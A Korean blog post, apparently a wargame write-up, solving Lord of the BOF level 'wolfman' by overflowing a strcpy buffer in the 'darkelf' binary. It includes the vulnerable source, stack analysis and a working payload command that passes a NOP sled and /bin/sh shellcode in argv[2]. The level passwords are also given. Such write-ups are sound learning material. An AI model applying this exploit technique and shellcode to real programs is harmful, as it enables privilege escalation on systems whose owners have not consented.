yehey's 공부 노트 \n ο(=•ω<=)ρ⌒☆

LOB 6번 풀이 (wolfman) 본문

wargame 풀이/LOB

LOB 6번 풀이 (wolfman)

yehey 2020. 11. 7. 02:42
id: wolfman
pw: love eyuna

 

/*
        The Lord of the BOF : The Fellowship of the BOF
        - darkelf
        - egghunter + buffer hunter + check length of argv[1]
*/

#include <stdio.h>
#include <stdlib.h>

extern char **environ;

main(int argc, char *argv[])
{
        char buffer[40];
        int i;

        if(argc < 2){
                printf("argv error\n");
                exit(0);
        }

        // egghunter
        for(i=0; environ[i]; i++)
                memset(environ[i], 0, strlen(environ[i]));

        if(argv[1][47] != '\xbf')
        {
                printf("stack is still your friend.\n");
                exit(0);
        }

        // check the length of argument
        if(strlen(argv[1]) > 48){
                printf("argument is too long!\n");
                exit(0);
        }

        strcpy(buffer, argv[1]);
        printf("%s\n", buffer);

        // buffer hunter
        memset(buffer, 0, 40);
}

 

  • strcpy의 BOF 취약점 이용해서 공격
  • egghunter 코드 삽입 (환경변수를 이용한 공격 불가능)
  • bufferhunter 코드 삽입 (buffer 내에 쉘코드 삽입해도 0으로 초기화 됨, 사용 불가)
  • 전달하려는 문자열의 48번째는 "\xbf"와 같아야함 (같지 않으면 강제종료)
  • buffer에 담긴 내용 출력
  • argv[1]에 전달되는 문자열 길이가 48보다 길어서는 안됨

 

darkelf 디스어셈블

main+233 에서 strcpy의 인자로 ebp-40의 주소를 넣어줌

main+245 에서 printf의 인자로 ebp-40의 주소를 넣어줌

main+266 에서 memset의 인자로 ebp-40의 주소를 넣어줌

=> ebp-40이 buffer의 시작주소

 

main+36 에서 ebp-44에 0을 넣어줌

=> ebp-44가 i의 주소

 

스택구조를 그려보면 다음과 같다

이번에는 ret 위의 공간을 사용할 수 없게 해놓았다. (strlen이 48 넘으면 강제종료 됨)

 

그래서 쉘 코드를 담을 공간을 찾다가 문자열을 하나만 전달하지 않고 2개를 전달해서 argv[2]에 쉘 코드를 담을 수 있다면 ret 에 argv[2]의 주소를 넣어주고 쉘이 실행되지 않을까라고 생각했다.

 

python 스크립트로 2개의 인자를 넣어줄 수 있는지 테스트 해보기 위해 한번 전달해 보았다.

 

다행히 잘 전달되었고 인자를 2개 전달해서 공격을 할 수 있을 것 같았다.

 

argv[2]의 주소를 알아내기 위해 기존 darkelf 코드를 복사해서 살짝 수정해보았다.

 

수정한 코드는 다음과 같다.

//darkelf2.c code
#include <stdio.h>
#include <stdlib.h>

extern char **environ;

main(int argc, char *argv[])
{
        char buffer[40];
        int i;

        if(argc < 2){
                printf("argv error\n");
                exit(0);
        }

        // egghunter
        for(i=0; environ[i]; i++)
                memset(environ[i], 0, strlen(environ[i]));

        if(argv[1][47] != '\xbf')
        {
                printf("stack is still your friend.\n");
                exit(0);
        }

        // check the length of argument
        if(strlen(argv[1]) > 48){
                printf("argument is too long!\n");
                exit(0);
        }

        strcpy(buffer, argv[1]);
        printf("%x\n", argv[2]);	//argv[2]의 주소를 출력하게 함

        // buffer hunter
        memset(buffer, 0, 40);
}

darkelf2.c 를 컴파일 하고 argv[1]과 argv[2]에 적절한 값을 넣어 실행시켜보았다. (강제종료되지 않을 값)

 

argv[2]의 시작 주소는 0xbffffbee라는 결과가 나왔다.

 

이제 argv[1]에서 ret까지 44바이트는 아무의미 없는 값으로 채워주고 ret에는 argv[2]의 주소를 넣어주고

argv[2]에는 NOP와 쉘 코드를 넣어주자.

 

payload: ./darkelf `python -c 'print "A"*44+"\xee\xfb\xff\xbf"'` `python -c 'print "\x90"*100+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80"'`

 

위와 같이 darkelf 권한으로 쉘이 띄워졌고 password도 얻을 수 있었다.

 

darkelf의 pw: "kernel crashed"

'wargame 풀이 > LOB' 카테고리의 다른 글

LOB 8번 풀이 (orge)  (0) 2020.11.19
LOB 7번 풀이 (darkelf)  (0) 2020.11.10
LOB 5번 풀이 (orc)  (0) 2020.11.06
LOB 4번 풀이 (goblin)  (0) 2020.11.02
LOB 3번 풀이 (cobolt)  (0) 2020.10.29
Comments